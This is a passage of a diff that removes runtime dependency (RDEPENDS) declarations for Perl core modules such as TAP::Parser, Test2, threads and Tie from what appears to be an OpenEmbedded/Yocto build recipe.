-RDEPENDS_perl-module-tap-formatter-file += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-constant"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-strict"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-text-parsewords"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-warnings"
-RDEPENDS_perl-module-tap-harness += "perl-module-base"
-RDEPENDS_perl-module-tap-harness += "perl-module-carp"
-RDEPENDS_perl-module-tap-harness += "perl-module-file-path"
-RDEPENDS_perl-module-tap-harness += "perl-module-file-spec"
-RDEPENDS_perl-module-tap-harness += "perl-module-io-handle"
-RDEPENDS_perl-module-tap-harness += "perl-module-strict"
-RDEPENDS_perl-module-tap-harness += "perl-module-tap-base"
-RDEPENDS_perl-module-tap-harness += "perl-module-warnings"
-RDEPENDS_perl-module-tap-object += "perl-module-strict"
-RDEPENDS_perl-module-tap-object += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-benchmark"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-tap-parser-resultfactory"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-tap-parser-yamlish-reader"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-carp"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-file-basename"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-config"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-io-handle"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-io-select"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser += "perl-module-base"
-RDEPENDS_perl-module-tap-parser += "perl-module-carp"
-RDEPENDS_perl-module-tap-parser += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-grammar"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-resultfactory"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-source"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-executable"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-file"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-handle"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-perl"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-rawtap"
-RDEPENDS_perl-module-tap-parser += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-bailout"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-comment"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-plan"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-pragma"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-test"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-unknown"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-version"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-yaml"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler-job += "perl-module-carp"
-RDEPENDS_perl-module-tap-parser-scheduler-job += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler-job += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-carp"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-job"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-spinner"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler-spinner += "perl-module-carp"
-RDEPENDS_perl-module-tap-parser-scheduler-spinner += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler-spinner += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iterator-process"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-sourcehandler"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iterator-stream"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-sourcehandler"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iterator-stream"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-sourcehandler"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-config"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iterator-process"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-sourcehandler-executable"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-text-parsewords"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iterator-array"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-sourcehandler"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-file-basename"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-warnings"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-exporter"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-strict"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-warnings"
-RDEPENDS_perl-module-term-cap += "perl-module-strict"
-RDEPENDS_perl-module-term-cap += "perl-module-vars"
-RDEPENDS_perl-module-term-complete += "perl-module-exporter"
-RDEPENDS_perl-module-term-complete += "perl-module-strict"
-RDEPENDS_perl-module-term-readline += "perl-module-strict"
-RDEPENDS_perl-module-term-readline += "perl-module-term-cap"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-warnings"
-RDEPENDS_perl-module-test-builder-module += "perl-module-exporter"
-RDEPENDS_perl-module-test-builder-module += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-module += "perl-module-test-builder"
-RDEPENDS_perl-module-test-builder += "perl-module-data-dumper"
-RDEPENDS_perl-module-test-builder += "perl-module-list-util"
-RDEPENDS_perl-module-test-builder += "perl-module-overload"
-RDEPENDS_perl-module-test-builder += "perl-module-strict"
-RDEPENDS_perl-module-test-builder += "perl-module-scalar-util"
-RDEPENDS_perl-module-test-builder += "perl-module-test-builder-formatter"
-RDEPENDS_perl-module-test-builder += "perl-module-test-builder-tododiag"
-RDEPENDS_perl-module-test-builder += "perl-module-test2-api"
-RDEPENDS_perl-module-test-builder += "perl-module-test2-util"
-RDEPENDS_perl-module-test-builder += "perl-module-warnings"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-test2-formatter"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-test2-formatter-tap"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-test2-util-hashbase"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-warnings"
-RDEPENDS_perl-module-test-builder-tester-color += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tester-color += "perl-module-test-builder-tester"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-exporter"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-test-builder"
-RDEPENDS_perl-module-test-builder-tododiag += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tododiag += "perl-module-warnings"
-RDEPENDS_perl-module-test-harness += "perl-module-base"
-RDEPENDS_perl-module-test-harness += "perl-module-config"
-RDEPENDS_perl-module-test-harness += "perl-module-constant"
-RDEPENDS_perl-module-test-harness += "perl-module-strict"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-harness"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-aggregator"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-source"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-sourcehandler-perl"
-RDEPENDS_perl-module-test-harness += "perl-module-text-parsewords"
-RDEPENDS_perl-module-test-harness += "perl-module-warnings"
-RDEPENDS_perl-module-test-more += "perl-module-file-temp"
-RDEPENDS_perl-module-test-more += "perl-module-strict"
-RDEPENDS_perl-module-test-more += "perl-module-test-builder-module"
-RDEPENDS_perl-module-test-more += "perl-module-warnings"
-RDEPENDS_perl-module-test += "perl-module-exporter"
-RDEPENDS_perl-module-test += "perl-module-file-temp"
-RDEPENDS_perl-module-test += "perl-module-strict"
-RDEPENDS_perl-module-test-simple += "perl-module-strict"
-RDEPENDS_perl-module-test-simple += "perl-module-test-builder-module"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-config"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-test-builder"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-threads-shared"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-vars"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-exporter"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-test-tester-capture"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-vars"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-warnings"
-RDEPENDS_perl-module-test-tester += "perl-module-exporter"
-RDEPENDS_perl-module-test-tester += "perl-module-strict"
-RDEPENDS_perl-module-test-tester += "perl-module-test-builder"
-RDEPENDS_perl-module-test-tester += "perl-module-test-tester-capturerunner"
-RDEPENDS_perl-module-test-tester += "perl-module-test-tester-delegate"
-RDEPENDS_perl-module-test-tester += "perl-module-vars"
-RDEPENDS_perl-module-test2-api += "perl-module-carp"
-RDEPENDS_perl-module-test2-api += "perl-module-exporter"
-RDEPENDS_perl-module-test2-api += "perl-module-scalar-util"
-RDEPENDS_perl-module-test2-api += "perl-module-strict"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-api-context"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-api-instance"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-api-stack"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event-bail"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event-diag"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event-exception"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event-fail"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event-note"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event-ok"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event-plan"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event-skip"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event-subtest"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-event-waiting"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-eventfacet-trace"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-hub"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-hub-interceptor"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-hub-interceptor-terminator"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-hub-subtest"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-util"
-RDEPENDS_perl-module-test2-api += "perl-module-test2-util-trace"
-RDEPENDS_perl-module-test2-api += "perl-module-warnings"
-RDEPENDS_perl-module-test2-api-context += "perl-module-carp"
-RDEPENDS_perl-module-test2-api-context += "perl-module-scalar-util"
-RDEPENDS_perl-module-test2-api-context += "perl-module-strict"
-RDEPENDS_perl-module-test2-api-context += "perl-module-test2-api"
-RDEPENDS_perl-module-test2-api-context += "perl-module-test2-event-v2"
-RDEPENDS_perl-module-test2-api-context += "perl-module-test2-eventfacet"
-RDEPENDS_perl-module-test2-api-context += "perl-module-test2-eventfacet-trace"
-RDEPENDS_perl-module-test2-api-context += "perl-module-test2-util"
-RDEPENDS_perl-module-test2-api-context += "perl-module-test2-util-externalmeta"
-RDEPENDS_perl-module-test2-api-context += "perl-module-test2-util-hashbase"
-RDEPENDS_perl-module-test2-api-context += "perl-module-warnings"
-RDEPENDS_perl-module-test2-event += "perl-module-carp"
-RDEPENDS_perl-module-test2-event += "perl-module-scalar-util"
-RDEPENDS_perl-module-test2-event += "perl-module-strict"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-about"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-amnesty"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-assert"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-control"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-error"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-hub"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-info"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-meta"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-parent"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-plan"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-eventfacet-trace"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-util"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-util-externalmeta"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-util-hashbase"
-RDEPENDS_perl-module-test2-event += "perl-module-test2-util-trace"
-RDEPENDS_perl-module-test2-event += "perl-module-warnings"
-RDEPENDS_perl-module-test2-event-v2 += "perl-module-carp"
-RDEPENDS_perl-module-test2-event-v2 += "perl-module-scalar-util"
-RDEPENDS_perl-module-test2-event-v2 += "perl-module-test2-util-facets2legacy"
-RDEPENDS_perl-module-test2-event-v2 += "perl-module-test2-util-hashbase"
-RDEPENDS_perl-module-test2-event-v2 += "perl-module-strict"
-RDEPENDS_perl-module-test2-event-v2 += "perl-module-warnings"
-RDEPENDS_perl-module-test2-eventfacet += "perl-module-carp"
-RDEPENDS_perl-module-test2-eventfacet += "perl-module-test2-util"
-RDEPENDS_perl-module-test2-eventfacet += "perl-module-test2-util-hashbase"
-RDEPENDS_perl-module-test2-eventfacet += "perl-module-strict"
-RDEPENDS_perl-module-test2-eventfacet += "perl-module-warnings"
-RDEPENDS_perl-module-test2-hub += "perl-module-carp"
-RDEPENDS_perl-module-test2-hub += "perl-module-list-util"
-RDEPENDS_perl-module-test2-hub += "perl-module-scalar-util"
-RDEPENDS_perl-module-test2-hub += "perl-module-strict"
-RDEPENDS_perl-module-test2-hub += "perl-module-test2-event-ok"
-RDEPENDS_perl-module-test2-hub += "perl-module-test2-event-pass"
-RDEPENDS_perl-module-test2-hub += "perl-module-test2-event-plan"
-RDEPENDS_perl-module-test2-hub += "perl-module-test2-util"
-RDEPENDS_perl-module-test2-hub += "perl-module-test2-util-externalmeta"
-RDEPENDS_perl-module-test2-hub += "perl-module-test2-util-hashbase"
-RDEPENDS_perl-module-test2-hub += "perl-module-warnings"
-RDEPENDS_perl-module-test2-util += "perl-module-carp"
-RDEPENDS_perl-module-test2-util += "perl-module-config"
-RDEPENDS_perl-module-test2-util += "perl-module-posix"
-RDEPENDS_perl-module-test2-util += "perl-module-strict"
-RDEPENDS_perl-module-test2-util += "perl-module-warnings"
-RDEPENDS_perl-module-test2-util-facets2legacy += "perl-module-base"
-RDEPENDS_perl-module-test2-util-facets2legacy += "perl-module-carp"
-RDEPENDS_perl-module-test2-util-facets2legacy += "perl-module-exporter"
-RDEPENDS_perl-module-test2-util-facets2legacy += "perl-module-scalar-util"
-RDEPENDS_perl-module-test2-util-facets2legacy += "perl-module-strict"
-RDEPENDS_perl-module-test2-util-facets2legacy += "perl-module-warnings"
-RDEPENDS_perl-module-test2-util-hashbase += "perl-module-carp"
-RDEPENDS_perl-module-test2-util-hashbase += "perl-module-mro"
-RDEPENDS_perl-module-test2-util-hashbase += "perl-module-strict"
-RDEPENDS_perl-module-test2-util-hashbase += "perl-module-warnings"
-RDEPENDS_perl-module-text-abbrev += "perl-module-exporter"
-RDEPENDS_perl-module-text-balanced += "perl-module-exporter"
-RDEPENDS_perl-module-text-balanced += "perl-module-overload"
-RDEPENDS_perl-module-text-balanced += "perl-module-selfloader"
-RDEPENDS_perl-module-text-balanced += "perl-module-strict"
-RDEPENDS_perl-module-text-balanced += "perl-module-vars"
-RDEPENDS_perl-module-text-parsewords += "perl-module-exporter"
-RDEPENDS_perl-module-text-parsewords += "perl-module-strict"
-RDEPENDS_perl-module-text-tabs += "perl-module-exporter"
-RDEPENDS_perl-module-text-tabs += "perl-module-strict"
-RDEPENDS_perl-module-text-tabs += "perl-module-vars"
-RDEPENDS_perl-module-text-wrap += "perl-module-exporter"
-RDEPENDS_perl-module-text-wrap += "perl-module-re"
-RDEPENDS_perl-module-text-wrap += "perl-module-strict"
-RDEPENDS_perl-module-text-wrap += "perl-module-text-tabs"
-RDEPENDS_perl-module-text-wrap += "perl-module-vars"
-RDEPENDS_perl-module-text-wrap += "perl-module-warnings-register"
-RDEPENDS_perl-module-thread += "perl-module-config"
-RDEPENDS_perl-module-thread += "perl-module-exporter"
-RDEPENDS_perl-module-thread += "perl-module-strict"
-RDEPENDS_perl-module-thread += "perl-module-threads"
-RDEPENDS_perl-module-thread += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread += "perl-module-warnings"
-RDEPENDS_perl-module-thread-queue += "perl-module-strict"
-RDEPENDS_perl-module-thread-queue += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread-queue += "perl-module-warnings"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-strict"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-warnings"
-RDEPENDS_perl-module-threads += "perl-module-config"
-RDEPENDS_perl-module-threads += "perl-module-overload"
-RDEPENDS_perl-module-threads += "perl-module-strict"
-RDEPENDS_perl-module-threads += "perl-module-warnings"
-RDEPENDS_perl-module-threads += "perl-module-xsloader"
-RDEPENDS_perl-module-threads-shared += "perl-module-strict"
-RDEPENDS_perl-module-threads-shared += "perl-module-warnings"
-RDEPENDS_perl-module-threads-shared += "perl-module-xsloader"
-RDEPENDS_perl-module-tie-array += "perl-module-strict"
-RDEPENDS_perl-module-tie-file += "perl-module-fcntl"
-RDEPENDS_perl-module-tie-file += "perl-module-posix"
-RDEPENDS_perl-module-tie-file += "perl-module-strict"
-RDEPENDS_perl-module-tie-handle += "perl-module-tie-stdhandle"
-RDEPENDS_perl-module-tie-handle += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-hash-namedcapture += "perl-module-strict"
-RDEPENDS_perl-module-tie-hash-namedcapture += "perl-module-xsloader"
-RDEPENDS_perl-module-tie-hash += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-memoize += "perl-module-strict"
-RDEPENDS_perl-module-tie-memoize += "perl-module-tie-hash"
-RDEPENDS_perl-module-tie-refhash += "perl-module-config"
-RDEPENDS_perl-module-tie-refhash += "perl-module-overload"
-RDEPENDS_perl-module-tie-refhash += "perl-module-strict"
-RDEPENDS_perl-module-tie-refhash += "perl-module-tie-hash"
-RDEPENDS_perl-module-tie-refhash += "perl-module-vars"
-RDEPENDS_perl-module-tie-scalar += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-stdhandle += "perl-module-strict"
-RDEPENDS_perl-module-tie-stdhandle += "perl-module-tie-handle"
-RDEPENDS_perl-module-tie-substrhash += "perl-module-integer"
-RDEPENDS_perl-module-time-gmtime += "perl-module-exporter"
-RDEPENDS_perl-module-time-gmtime += "perl-module-strict"
-RDEPENDS_perl-module-time-gmtime += "perl-module-time-tm"
-RDEPENDS_perl-module-time-hires += "perl-module-exporter"
-RDEPENDS_perl-module-time-hires += "perl-module-strict"
-RDEPENDS_perl-module-time-hires += "perl-module-xsloader"
-RDEPENDS_perl-module-time-local += "perl-module-config"
-RDEPENDS_perl-module-time-local += "perl-module-constant"
-RDEPENDS_perl-module-time-local += "perl-module-exporter"
-RDEPENDS_perl-module-time-local += "perl-module-parent"
-RDEPENDS_perl-module-time-local += "perl-module-strict"
-RDEPENDS_perl-module-time-localtime += "perl-module-exporter"
-RDEPENDS_perl-module-time-localtime += "perl-module-strict"
